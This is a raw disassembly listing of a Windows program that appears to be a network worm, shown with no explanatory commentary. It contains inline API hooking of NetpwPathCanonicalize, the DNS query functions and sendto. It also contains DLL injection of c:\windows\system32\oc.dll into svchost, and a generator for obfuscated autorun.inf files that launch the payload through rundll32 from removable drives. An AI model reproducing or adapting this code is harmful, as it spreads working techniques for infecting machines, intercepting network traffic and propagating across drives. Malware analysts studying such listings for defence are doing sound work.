cmp edi, [ebp+arg_C] jnb short loc_9AA16E mov eax, esi sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_9AA16E cmp byte ptr [esi], 0 jz short loc_9AA155 mov eax, [ebp+arg_8] mov byte ptr [edi+eax], 2Eh inc edi jmp short loc_9AA152 sub_9AA135 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AA1CD proc near ; CODE XREF: sub_9AA29B+23p First = byte ptr -128h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 118h push offset stru_9A4118 call __SEH_prolog mov esi, edx xor edi, edi mov [ebp+ms_exc.disabled], edi mov [ebp+var_20], esi mov al, [esi+2] test al, 78h jnz loc_9AA291 test al, 1 jz loc_9AA291 cmp [esi+6], di jnz loc_9AA291 cmp [esi+8], di jnz loc_9AA291 cmp [esi+0Ah], di jnz short loc_9AA291 cmp byte ptr [esi+ecx-5], 0 jnz short loc_9AA291 cmp dword ptr [esi+ecx-4], 1000100h jnz short loc_9AA291 push 104h lea eax, [ebp+First] push eax push ecx push esi call sub_9AA135 add esp, 10h test eax, eax jz short loc_9AA291 lea eax, [ebp+First] push eax ; lpFirst call sub_9A8D37 pop ecx test eax, eax jz short loc_9AA291 lea eax, [ebp+First] push eax ; Str call strlen pop ecx mov ebx, eax mov [ebp+var_24], ebx mov [ebp+var_1C], edi loc_9AA264: ; CODE XREF: sub_9AA1CD+B6j cmp [ebp+var_1C], ebx jnb short loc_9AA285 call rand xor edx, edx push 1Ah pop ecx div ecx add edx, 61h mov eax, [ebp+var_1C] mov [eax+esi+0Dh], dl inc [ebp+var_1C] jmp short loc_9AA264 ; --------------------------------------------------------------------------- loc_9AA285: ; CODE XREF: sub_9AA1CD+9Aj mov [esi+0Ch], bl jmp short loc_9AA291 ; --------------------------------------------------------------------------- loc_9AA28A: ; DATA XREF: .text:stru_9A4118o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AA28E: ; DATA XREF: .text:stru_9A4118o mov esp, [ebp+ms_exc.old_esp] loc_9AA291: ; CODE XREF: sub_9AA1CD+1Ej ; sub_9AA1CD+26j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_9AA1CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AA29B proc near ; DATA XREF: sub_9AA53A+1Ao arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 12h jl short loc_9AA2C3 push ds:dword_9BA168 push dword ptr [ebp+4] call sub_9AA082 test eax, eax pop ecx pop ecx jz short loc_9AA2C3 mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] call sub_9AA1CD loc_9AA2C3: ; CODE XREF: sub_9AA29B+7j ; sub_9AA29B+1Bj mov eax, ds:dword_9BA164 add eax, 4 pop ebp jmp eax sub_9AA29B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AA2CE(LPVOID lpAddress) sub_9AA2CE proc near ; CODE XREF: sub_9AA40D+51p Src = byte ptr -40h var_3F = dword ptr -3Fh var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch nPriority = dword ptr -28h flOldProtect = dword ptr -24h var_20 = dword ptr -20h hThread = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h lpAddress = dword ptr 8 push 30h push offset stru_9A4128 call __SEH_prolog mov esi, ecx mov edi, edx xor ebx, ebx mov [ebp+var_2C], ebx call GetCurrentThread mov [ebp+hThread], eax push eax ; hThread call GetThreadPriority mov [ebp+nPriority], eax mov [ebp+ms_exc.disabled], ebx push 2Ch ; Size push ebx ; Val push esi ; Dst call memset add esp, 0Ch mov [esi+28h], edi mov ecx, [ebp+lpAddress] mov [esi+24h], ecx mov [ebp+var_20], ecx mov [ebp+var_34], ebx mov [ebp+var_38], 5 loc_9AA31B: ; CODE XREF: sub_9AA2CE+9Fj cmp ebx, 5 jge short loc_9AA37A mov eax, [ebp+var_20] add eax, ebx push eax call loc_9B6C60 mov [ebp+var_30], eax lea ecx, [ebx+esi+4] push eax ; Size mov eax, [ebp+var_20] add eax, ebx push eax ; Src push ecx ; Dst call memcpy add esp, 10h mov al, [ebx+esi+4] mov cl, al and cl, 0FEh cmp cl, 0E8h jz short loc_9AA36F cmp al, 0FFh jnz short loc_9AA360 mov al, [ebx+esi+5] cmp al, 25h jz short loc_9AA36F cmp al, 15h jz short loc_9AA36F loc_9AA360: ; CODE XREF: sub_9AA2CE+84j mov eax, [ebp+var_30] add ebx, eax mov [esi], ebx mov [ebp+var_34], ebx mov ecx, [ebp+lpAddress] jmp short loc_9AA31B ; --------------------------------------------------------------------------- loc_9AA36F: ; CODE XREF: sub_9AA2CE+80j ; sub_9AA2CE+8Cj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh xor eax, eax jmp loc_9AA407 ; --------------------------------------------------------------------------- loc_9AA37A: ; CODE XREF: sub_9AA2CE+50j lea eax, [ebx+esi] mov byte ptr [eax+4], 0E9h mov edx, [esi] sub edx, ebx sub edx, esi lea edx, [edx+ecx-9] mov [eax+5], edx lea eax, [ebp+flOldProtect] push eax ; lpflOldProtect push 40h ; flNewProtect push dword ptr [esi] ; dwSize push ecx ; lpAddress mov ebx, VirtualProtect call ebx ; VirtualProtect test eax, eax jz short loc_9AA400 mov [ebp+Src], 0E9h sub edi, [ebp+lpAddress] sub edi, 5 mov [ebp+var_3F], edi push 0Fh ; nPriority push [ebp+hThread] ; hThread mov edi, SetThreadPriority call edi ; SetThreadPriority push 5 ; Size lea eax, [ebp+Src] push eax ; Src push [ebp+lpAddress] ; Dst call memcpy add esp, 0Ch push [ebp+nPriority] ; nPriority push [ebp+hThread] ; hThread call edi ; SetThreadPriority lea eax, [ebp+flOldProtect] push eax ; lpflOldProtect push [ebp+flOldProtect] ; flNewProtect push dword ptr [esi] ; dwSize push [ebp+lpAddress] ; lpAddress call ebx ; VirtualProtect mov [ebp+var_2C], 1 jmp short loc_9AA400 ; --------------------------------------------------------------------------- loc_9AA3ED: ; DATA XREF: .text:stru_9A4128o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AA3F1: ; DATA XREF: .text:stru_9A4128o mov esp, [ebp+ms_exc.old_esp] push [ebp+nPriority] ; nPriority push [ebp+hThread] ; hThread call SetThreadPriority loc_9AA400: ; CODE XREF: sub_9AA2CE+D3j ; sub_9AA2CE+11Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_2C] loc_9AA407: ; CODE XREF: sub_9AA2CE+A7j call __SEH_epilog retn sub_9AA2CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AA40D(LPCSTR lpLibFileName, LPCSTR lpProcName, int, int) sub_9AA40D proc near ; CODE XREF: sub_9AA482+14p ; sub_9AA49F+14p ... lpLibFileName = dword ptr 8 lpProcName = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push [ebp+lpLibFileName] ; lpModuleName xor edi, edi call GetModuleHandleA test eax, eax jnz short loc_9AA42D push [ebp+lpLibFileName] ; lpLibFileName call LoadLibraryA test eax, eax jz short loc_9AA47D loc_9AA42D: ; CODE XREF: sub_9AA40D+11j push esi push [ebp+lpProcName] ; lpProcName push eax ; hModule call GetProcAddress mov esi, eax test esi, esi jz short loc_9AA47C push 40h ; flProtect push 103000h ; flAllocationType push 2Ch ; dwSize push 0 ; lpAddress call VirtualAlloc test eax, eax mov ecx, [ebp+arg_C] mov [ecx], eax jz short loc_9AA47C mov edx, [ebp+arg_8] push esi ; lpAddress mov ecx, eax call sub_9AA2CE mov edi, eax test edi, edi pop ecx jnz short loc_9AA47C push 8000h ; dwFreeType push eax ; dwSize push ds:lpAddress ; lpAddress call VirtualFree loc_9AA47C: ; CODE XREF: sub_9AA40D+2Fj ; sub_9AA40D+49j ... pop esi loc_9AA47D: ; CODE XREF: sub_9AA40D+1Ej mov eax, edi pop edi pop ebp retn sub_9AA40D endp ; =============== S U B R O U T I N E ======================================= sub_9AA482 proc near ; CODE XREF: sub_9A799E+1B6p ; sub_9A799E+1D0p push offset lpAddress ; int push offset sub_9A9D72 ; int push offset aNetpwpathcanon ; "NetpwPathCanonicalize" push offset dword_9A4134 ; lpLibFileName call sub_9AA40D add esp, 10h retn sub_9AA482 endp ; =============== S U B R O U T I N E ======================================= sub_9AA49F proc near ; CODE XREF: sub_9A799E+29p push offset dword_9BA150 ; int push offset sub_9A9DD2 ; int push offset aNtqueryinforma ; "NtQueryInformationProcess" push offset aNtdll_dll ; "ntdll.dll" call sub_9AA40D add esp, 10h retn sub_9AA49F endp ; =============== S U B R O U T I N E ======================================= sub_9AA4BC proc near ; CODE XREF: sub_9A799E+1E5p push ebx push ebp push esi push edi push offset dword_9BA154 ; int push offset sub_9A9E5D ; int push offset aDnsquery_a ; "DnsQuery_A" mov esi, offset aDnsapi_dll ; "dnsapi.dll" push esi ; lpLibFileName call sub_9AA40D push offset dword_9BA158 ; int push offset sub_9A9F18 ; int push offset aDnsquery_utf8 ; "DnsQuery_UTF8" push esi ; lpLibFileName mov edi, eax call sub_9AA40D push offset dword_9BA15C ; int push offset sub_9A9FAE ; int push offset aDnsquery_w ; "DnsQuery_W" push esi ; lpLibFileName mov ebx, eax call sub_9AA40D push offset dword_9BA160 ; int push offset loc_9AA04F ; int push offset aQuery_main ; "Query_Main" push esi ; lpLibFileName mov ebp, eax call sub_9AA40D add esp, 40h test edi, edi jz short loc_9AA533 test ebx, ebx jz short loc_9AA533 test ebp, ebp jz short loc_9AA533 xor eax, eax inc eax jmp short loc_9AA535 ; --------------------------------------------------------------------------- loc_9AA533: ; CODE XREF: sub_9AA4BC+68j ; sub_9AA4BC+6Cj ... xor eax, eax loc_9AA535: ; CODE XREF: sub_9AA4BC+75j pop edi pop esi pop ebp pop ebx retn sub_9AA4BC endp ; =============== S U B R O U T I N E ======================================= sub_9AA53A proc near ; CODE XREF: sub_9A799E+1BBp push offset ModuleName ; "dnsrslvr.dll" call GetModuleHandleA test eax, eax mov ds:dword_9BA168, eax jnz short loc_9AA54F retn ; --------------------------------------------------------------------------- loc_9AA54F: ; CODE XREF: sub_9AA53A+12j push offset dword_9BA164 ; int push offset sub_9AA29B ; int push offset aSendto ; "sendto" push offset aWs2_32_dll ; "ws2_32.dll" call sub_9AA40D add esp, 10h retn sub_9AA53A endp ; =============== S U B R O U T I N E ======================================= sub_9AA56C proc near ; CODE XREF: StartAddress:loc_9A77DDp push esi xor esi, esi loc_9AA56F: ; CODE XREF: sub_9AA56C+21j push offset aSvchost_exeKNe ; "svchost.exe -k NetworkService" call sub_9ABF43 test eax, eax pop ecx jnz short loc_9AA591 push 3E8h ; dwMilliseconds call Sleep inc esi cmp esi, 14h jl short loc_9AA56F pop esi retn ; --------------------------------------------------------------------------- loc_9AA591: ; CODE XREF: sub_9AA56C+10j push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" push eax ; dwProcessId call sub_9ABCA4 pop ecx pop ecx pop esi retn sub_9AA56C endp ; =============== S U B R O U T I N E ======================================= sub_9AA5A0 proc near ; CODE XREF: StartAddress+4Dp push esi xor esi, esi loc_9AA5A3: ; CODE XREF: sub_9AA5A0+21j push offset aOwedace ; "owedAce" call sub_9ABC24 test eax, eax pop ecx jnz short loc_9AA5C5 push 3E8h ; dwMilliseconds call Sleep inc esi cmp esi, 14h jl short loc_9AA5A3 pop esi retn ; --------------------------------------------------------------------------- loc_9AA5C5: ; CODE XREF: sub_9AA5A0+10j push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" push eax ; dwProcessId call sub_9ABCA4 pop ecx pop ecx pop esi retn sub_9AA5A0 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AA5D4(char *Dest) sub_9AA5D4 proc near ; CODE XREF: sub_9AA85A+1AFp ; sub_9AA85A+1E6p ... Dest = dword ptr 4 call rand push 0Ah cdq pop ecx idiv ecx test edx, edx jz short locret_9AA5FB push esi mov esi, edx loc_9AA5E7: ; CODE XREF: sub_9AA5D4+24j push offset asc_9A4224 ; " " push [esp+8+Dest] ; Dest call strcat dec esi pop ecx pop ecx jnz short loc_9AA5E7 pop esi locret_9AA5FB: ; CODE XREF: sub_9AA5D4+Ej retn sub_9AA5D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AA5FC(char *Dest) sub_9AA5FC proc near ; CODE XREF: sub_9AA6DB+59p ; sub_9AA6DB+7Dp ... Source = byte ptr -4 var_3 = byte ptr -3 Dest = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, rand call esi ; rand push 0Ah cdq pop ecx idiv ecx test edx, edx jz short loc_9AA63D push edi mov edi, edx loc_9AA616: ; CODE XREF: sub_9AA5FC+25j ; sub_9AA5FC+29j ... call esi ; rand and al, 1Fh inc al cmp al, 0Dh mov [ebp+Source], al jz short loc_9AA616 cmp al, 0Ah jz short loc_9AA616 lea eax, [ebp+Source] push eax ; Source push [ebp+Dest] ; Dest mov [ebp+var_3], 0 call strcat dec edi pop ecx pop ecx jnz short loc_9AA616 pop edi loc_9AA63D: ; CODE XREF: sub_9AA5FC+15j pop esi leave retn sub_9AA5FC endp ; =============== S U B R O U T I N E ======================================= sub_9AA640 proc near ; CODE XREF: sub_9AA6DB:loc_9AA75Ep ; sub_9AA7AA+4Ep ... call rand push 3 cdq pop ecx idiv ecx sub edx, 0 jz short loc_9AA665 dec edx jz short loc_9AA65E dec edx jnz short locret_9AA672 push offset asc_9A4230 ; "\n" jmp short loc_9AA66A ; --------------------------------------------------------------------------- loc_9AA65E: ; CODE XREF: sub_9AA640+12j push offset asc_9A422C ; "\r" jmp short loc_9AA66A ; --------------------------------------------------------------------------- loc_9AA665: ; CODE XREF: sub_9AA640+Fj push offset asc_9A4228 ; "\r\n" loc_9AA66A: ; CODE XREF: sub_9AA640+1Cj ; sub_9AA640+23j push esi ; Dest call strcat pop ecx pop ecx locret_9AA672: ; CODE XREF: sub_9AA640+15j retn sub_9AA640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AA673(char *Dest, char) sub_9AA673 proc near ; CODE XREF: sub_9AA6DB+72p ; sub_9AA7AA+20p ... Source = byte ptr -4 var_3 = byte ptr -3 Dest = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, rand call esi ; rand push 19h cdq pop ecx idiv ecx inc edx jz short loc_9AA6D8 push edi mov edi, edx loc_9AA68C: ; CODE XREF: sub_9AA673+62j cmp [ebp+arg_4], 0 jz short loc_9AA6AA call esi ; rand test al, 1 jnz short loc_9AA6AA call esi ; rand cdq mov ecx, 80h idiv ecx add dl, 80h mov [ebp+Source], dl jmp short loc_9AA6C2 ; --------------------------------------------------------------------------- loc_9AA6AA: ; CODE XREF: sub_9AA673+1Dj ; sub_9AA673+23j call esi ; rand cdq push 1Ah pop ecx idiv ecx add dl, 41h mov [ebp+Source], dl call esi ; rand test al, 1 jz short loc_9AA6C2 or [ebp+Source], 20h loc_9AA6C2: ; CODE XREF: sub_9AA673+35j ; sub_9AA673+49j lea eax, [ebp+Source] push eax ; Source push [ebp+Dest] ; Dest mov [ebp+var_3], 0 call strcat dec edi pop ecx pop ecx jnz short loc_9AA68C pop edi loc_9AA6D8: ; CODE XREF: sub_9AA673+14j pop esi leave retn sub_9AA673 endp ; =============== S U B R O U T I N E ======================================= sub_9AA6DB proc near ; CODE XREF: sub_9AA7AA+55p ; sub_9AA7AA+A5p ... push esi push edi mov edi, rand mov esi, eax call edi ; rand push 0Ah cdq pop ecx idiv ecx test edx, edx jz short loc_9AA768 push ebx push ebp mov ebp, edx loc_9AA6F5: ; CODE XREF: sub_9AA6DB+89j call edi ; rand push 3 cdq pop ecx idiv ecx sub edx, 0 jz short loc_9AA728 dec edx jz short loc_9AA757 dec edx jnz short loc_9AA763 call edi ; rand push 1Eh cdq pop ecx idiv ecx test edx, edx jz short loc_9AA75E mov ebx, edx loc_9AA716: ; CODE XREF: sub_9AA6DB+49j push offset asc_9A4224 ; " " push esi ; Dest call strcat dec ebx pop ecx pop ecx jnz short loc_9AA716 jmp short loc_9AA75E ; --------------------------------------------------------------------------- loc_9AA728: ; CODE XREF: sub_9AA6DB+25j push offset asc_9A4234 ; ";" push esi ; Dest call strcat push esi ; Dest call sub_9AA5FC add esp, 0Ch call edi ; rand push 4 cdq pop ecx idiv ecx test edx, edx jz short loc_9AA757 mov ebx, edx loc_9AA74A: ; CODE XREF: sub_9AA6DB+7Aj push 1 ; char push esi ; Dest call sub_9AA673 dec ebx pop ecx pop ecx jnz short loc_9AA74A loc_9AA757: ; CODE XREF: sub_9AA6DB+28j ; sub_9AA6DB+6Bj push esi ; Dest call sub_9AA5FC pop ecx loc_9AA75E: ; CODE XREF: sub_9AA6DB+37j ; sub_9AA6DB+4Bj call sub_9AA640 loc_9AA763: ; CODE XREF: sub_9AA6DB+2Bj dec ebp jnz short loc_9AA6F5 pop ebp pop ebx loc_9AA768: ; CODE XREF: sub_9AA6DB+14j pop edi pop esi retn sub_9AA6DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AA76B(char *Dest) sub_9AA76B proc near ; CODE XREF: sub_9AA85A+85p ; sub_9AA85A+149p ... Source = byte ptr -4 var_3 = byte ptr -3 Dest = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, eax jmp short loc_9AA7A2 ; --------------------------------------------------------------------------- loc_9AA774: ; CODE XREF: sub_9AA76B+3Aj mov al, [esi] cmp al, 61h mov [ebp+Source], al mov [ebp+var_3], 0 jl short loc_9AA793 cmp al, 7Ah jg short loc_9AA793 call rand test al, 1 jz short loc_9AA793 and [ebp+Source], 0DFh loc_9AA793: ; CODE XREF: sub_9AA76B+14j ; sub_9AA76B+18j ... lea eax, [ebp+Source] push eax ; Source push [ebp+Dest] ; Dest call strcat pop ecx pop ecx inc esi loc_9AA7A2: ; CODE XREF: sub_9AA76B+7j cmp byte ptr [esi], 0 jnz short loc_9AA774 pop esi leave retn sub_9AA76B endp ; =============== S U B R O U T I N E ======================================= sub_9AA7AA proc near ; CODE XREF: sub_9AA85A+5Ep ; sub_9AA85A+239p var_C = dword ptr -0Ch push esi mov esi, eax push edi push esi ; Dest call sub_9AA5FC mov [esp+0Ch+var_C], offset asc_9A4240 ; "[" push esi ; Dest call strcat push esi ; Dest call sub_9AA5FC push 0 ; char push esi ; Dest call sub_9AA673 mov edi, rand add esp, 14h call edi ; rand push 3 cdq pop ecx idiv ecx test edx, edx jz short loc_9AA7F1 push offset asc_9A423C ; "]" push esi ; Dest call strcat pop ecx pop ecx loc_9AA7F1: ; CODE XREF: sub_9AA7AA+38j push esi ; Dest call sub_9AA5FC pop ecx call sub_9AA640 mov eax, esi call sub_9AA6DB call edi ; rand push 14h cdq pop ecx idiv ecx test edx, edx jz short loc_9AA857 mov edi, edx loc_9AA812: ; CODE XREF: sub_9AA7AA+ABj push esi ; Dest call sub_9AA5FC push 0 ; char push esi ; Dest call sub_9AA673 push esi ; Dest call sub_9AA5FC push offset asc_9A4238 ; "=" push esi ; Dest call strcat push esi ; Dest call sub_9AA5FC push 0 ; char push esi ; Dest call sub_9AA673 push esi ; Dest call sub_9AA5FC add esp, 28h call sub_9AA640 mov eax, esi call sub_9AA6DB dec edi jnz short loc_9AA812 loc_9AA857: ; CODE XREF: sub_9AA7AA+64j pop edi pop esi retn sub_9AA7AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AA85A(char *Dest, int, char *Source, int) sub_9AA85A proc near ; CODE XREF: sub_9AAAA0+55p var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h Memory = dword ptr -0Ch Str1 = dword ptr -8 var_4 = dword ptr -4 Dest = dword ptr 8 arg_4 = dword ptr 0Ch Source = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx mov eax, offset aShellexecute ; "shellexecute" push esi mov esi, [ebp+Dest] push edi mov ecx, offset aOpen ; "open" mov edx, offset aAction ; "action" mov [ebp+var_24], eax mov edi, offset aIcon ; "icon" mov [ebp+var_38], eax mov [ebp+var_14], eax mov eax, esi mov [ebp+var_28], ecx mov [ebp+var_20], edi mov [ebp+var_1C], edx mov [ebp+var_34], edi mov [ebp+var_30], edx mov [ebp+var_2C], offset aUseautoplay1 ; "useautoplay=1" mov [ebp+var_18], ecx call sub_9AA6DB mov edi, rand call edi ; rand push 14h cdq pop ecx idiv ecx inc edx jz short loc_9AA8C0 mov ebx, edx loc_9AA8B6: ; CODE XREF: sub_9AA85A+64j mov eax, esi call sub_9AA7AA dec ebx jnz short loc_9AA8B6 loc_9AA8C0: ; CODE XREF: sub_9AA85A+58j push esi ; Dest call sub_9AA5FC mov [esp+48h+var_48], offset asc_9A4240 ; "[" push esi ; Dest call strcat push esi ; Dest call sub_9AA5FC push esi ; Dest mov eax, offset aAutorun ; "autorun" call sub_9AA76B add esp, 10h call edi ; rand test al, 1 jz short loc_9AA8FA push offset asc_9A423C ; "]" push esi ; Dest call strcat pop ecx pop ecx loc_9AA8FA: ; CODE XREF: sub_9AA85A+91j push esi ; Dest call sub_9AA5FC pop ecx call sub_9AA640 cmp [ebp+arg_C], 5 jnz short loc_9AA918 lea ebx, [ebp+var_28] loc_9AA90F: ; CODE XREF: sub_9AA85A+C9j mov [ebp+arg_C], 4 jmp short loc_9AA92B ; --------------------------------------------------------------------------- loc_9AA918: ; CODE XREF: sub_9AA85A+B0j push 2 pop eax cmp [ebp+arg_C], eax jnz short loc_9AA925 lea ebx, [ebp+var_38] jmp short loc_9AA90F ; --------------------------------------------------------------------------- loc_9AA925: ; CODE XREF: sub_9AA85A+C4j lea ebx, [ebp+var_18] mov [ebp+arg_C], eax loc_9AA92B: ; CODE XREF: sub_9AA85A+BCj mov eax, [ebp+arg_C] test eax, eax jle short loc_9AA95B mov [ebp+var_4], eax loc_9AA935: ; CODE XREF: sub_9AA85A+FCj call edi ; rand cdq idiv [ebp+arg_C] mov esi, edx call edi ; rand cdq idiv [ebp+arg_C] dec [ebp+var_4] lea eax, [ebx+esi*4] mov ecx, edx mov edx, [eax] lea ecx, [ebx+ecx*4] mov esi, [ecx] mov [eax], esi mov [ecx], edx jnz short loc_9AA935 mov esi, [ebp+Dest] loc_9AA95B: ; CODE XREF: sub_9AA85A+D6j mov eax, esi call sub_9AA6DB and [ebp+var_4], 0 cmp [ebp+arg_C], 0 jle loc_9AAA7D loc_9AA970: ; CODE XREF: sub_9AA85A+21Dj mov eax, [ebp+var_4] mov eax, [ebx+eax*4] push eax ; Src mov [ebp+Str1], eax call _strdup push 3Dh ; Val push eax ; Str mov [ebp+Memory], eax call strchr add esp, 0Ch test eax, eax mov [ebp+var_10], eax jz short loc_9AA999 mov byte ptr [eax], 0 loc_9AA999: ; CODE XREF: sub_9AA85A+13Aj push esi ; Dest call sub_9AA5FC mov eax, [ebp+Memory] push esi ; Dest call sub_9AA76B push esi ; Dest call sub_9AA5FC push offset asc_9A4238 ; "=" push esi ; Dest call strcat push esi ; Dest call sub_9AA5FC mov eax, [ebp+var_10] add esp, 18h test eax, eax jz short loc_9AA9D3 inc eax push esi ; Dest call sub_9AA76B loc_9AA9D0: ; CODE XREF: sub_9AA85A+1DAj pop ecx jmp short loc_9AAA51 ; --------------------------------------------------------------------------- loc_9AA9D3: ; CODE XREF: sub_9AA85A+16Dj push offset aIcon ; "icon" push [ebp+Str1] ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9AAA15 call edi ; rand test al, 1 push esi ; Dest mov eax, offset aSystemroot ; "%systemroot%" jnz short loc_9AA9F7 mov eax, offset aWindir ; "%windir%" loc_9AA9F7: ; CODE XREF: sub_9AA85A+196j call sub_9AA76B pop ecx push esi ; Dest mov eax, offset aSystem32Shell3 ; "\\system32\\shell32.dll" call sub_9AA76B push esi ; Dest call sub_9AA5D4 push offset a4_0 ; ",4" jmp short loc_9AAA48 ; --------------------------------------------------------------------------- loc_9AAA15: ; CODE XREF: sub_9AA85A+18Aj push offset aAction ; "action" push [ebp+Str1] ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9AAA36 push offset Buffer ; Source push esi ; Dest call strcat pop ecx jmp short loc_9AA9D0 ; --------------------------------------------------------------------------- loc_9AAA36: ; CODE XREF: sub_9AA85A+1CCj mov eax, [ebp+arg_4] push esi ; Dest call sub_9AA76B push esi ; Dest call sub_9AA5D4 push [ebp+Source] ; Source loc_9AAA48: ; CODE XREF: sub_9AA85A+1B9j push esi ; Dest call strcat add esp, 10h loc_9AAA51: ; CODE XREF: sub_9AA85A+177j push esi ; Dest call sub_9AA5D4 call sub_9AA640 mov eax, esi call sub_9AA6DB push [ebp+Memory] ; Memory call free inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_C] pop ecx pop ecx jl loc_9AA970 loc_9AAA7D: ; CODE XREF: sub_9AA85A+110j mov eax, esi call sub_9AA6DB call edi ; rand push 14h cdq pop ecx idiv ecx inc edx jz short loc_9AAA9B mov edi, edx loc_9AAA91: ; CODE XREF: sub_9AA85A+23Fj mov eax, esi call sub_9AA7AA dec edi jnz short loc_9AAA91 loc_9AAA9B: ; CODE XREF: sub_9AA85A+233j pop edi pop esi pop ebx leave retn sub_9AA85A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AAAA0(LPCSTR lpFileName, char *Source, int) sub_9AAAA0 proc near ; CODE XREF: sub_9AABA4+401p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h lpFileName = dword ptr 8 Source = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset stru_9A42C8 call __SEH_prolog xor esi, esi mov [ebp+var_1C], esi mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], esi push 40000h ; dwBytes push 40h ; uFlags mov edi, GlobalAlloc call edi ; GlobalAlloc mov ebx, eax mov [ebp+var_1C], ebx test ebx, ebx jz loc_9AAB71 call rand cdq push 2 pop ecx idiv ecx test edx, edx mov eax, offset aRundll32 ; "rundll32" jnz short loc_9AAAED mov eax, offset Srch loc_9AAAED: ; CODE XREF: sub_9AAAA0+46j push [ebp+arg_8] ; int push [ebp+Source] ; Source push eax ; int push ebx ; Dest call sub_9AA85A push ebx ; Str call strlen add esp, 14h lea eax, [eax+eax+4] push eax ; dwBytes push 40h ; uFlags call edi ; GlobalAlloc mov esi, eax mov [ebp+var_20], esi test esi, esi jz short loc_9AAB71 mov word ptr [esi], 0FEFFh push ebx ; Str call strlen pop ecx inc eax push eax ; cchWideChar lea eax, [esi+2] push eax ; lpWideCharStr push 0FFFFFFFFh ; cbMultiByte push ebx ; lpMultiByteStr push 0 ; dwFlags push 0 ; CodePage call MultiByteToWideChar test eax, eax jz short loc_9AAB71 push 1F01FFh ; int push [ebp+lpFileName] ; lpFileName call sub_9AC163 pop ecx pop ecx push [ebp+lpFileName] ; lpFileName push esi ; Str call wcslen pop ecx shl eax, 1 push eax ; nNumberOfBytesToWrite push esi ; lpBuffer call sub_9AB7F5 add esp, 0Ch test eax, eax jz short loc_9AAB71 push 120089h ; int push [ebp+lpFileName] ; lpFileName call sub_9AC163 pop ecx pop ecx loc_9AAB71: ; CODE XREF: sub_9AAAA0+2Dj ; sub_9AAAA0+73j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_9AAB88 ; --------------------------------------------------------------------------- loc_9AAB77: ; DATA XREF: .text:stru_9A42C8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AAB7B: ; DATA XREF: .text:stru_9A42C8o mov esp, [ebp+ms_exc.old_esp] or [ebp+ms_exc.disabled], 0FFFFFFFFh mov ebx, [ebp+var_1C] mov esi, [ebp+var_20] loc_9AAB88: ; CODE XREF: sub_9AAAA0+D5j test esi, esi jz short loc_9AAB93 push esi ; hMem call GlobalFree loc_9AAB93: ; CODE XREF: sub_9AAAA0+EAj test ebx, ebx jz short loc_9AAB9E push ebx ; hMem call GlobalFree loc_9AAB9E: ; CODE XREF: sub_9AAAA0+F5j call __SEH_epilog retn sub_9AAAA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AABA4(LPVOID) sub_9AABA4 proc near ; CODE XREF: sub_9AB156+7Fp ; DATA XREF: sub_9AAFD8+8Bo Source = byte ptr -7B0h var_6AD = byte ptr -6ADh FindFileData = _WIN32_FIND_DATAA ptr -6ACh var_56C = byte ptr -56Ch var_469 = byte ptr -469h Dest = byte ptr -468h var_365 = byte ptr -365h PathName = byte ptr -364h var_261 = byte ptr -261h var_260 = byte ptr -260h var_15D = byte ptr -15Dh FileName = byte ptr -15Ch var_59 = byte ptr -59h var_58 = byte ptr -58h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_30 = dword ptr -30h FileSystemFlags = dword ptr -2Ch Str1 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h hMem = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 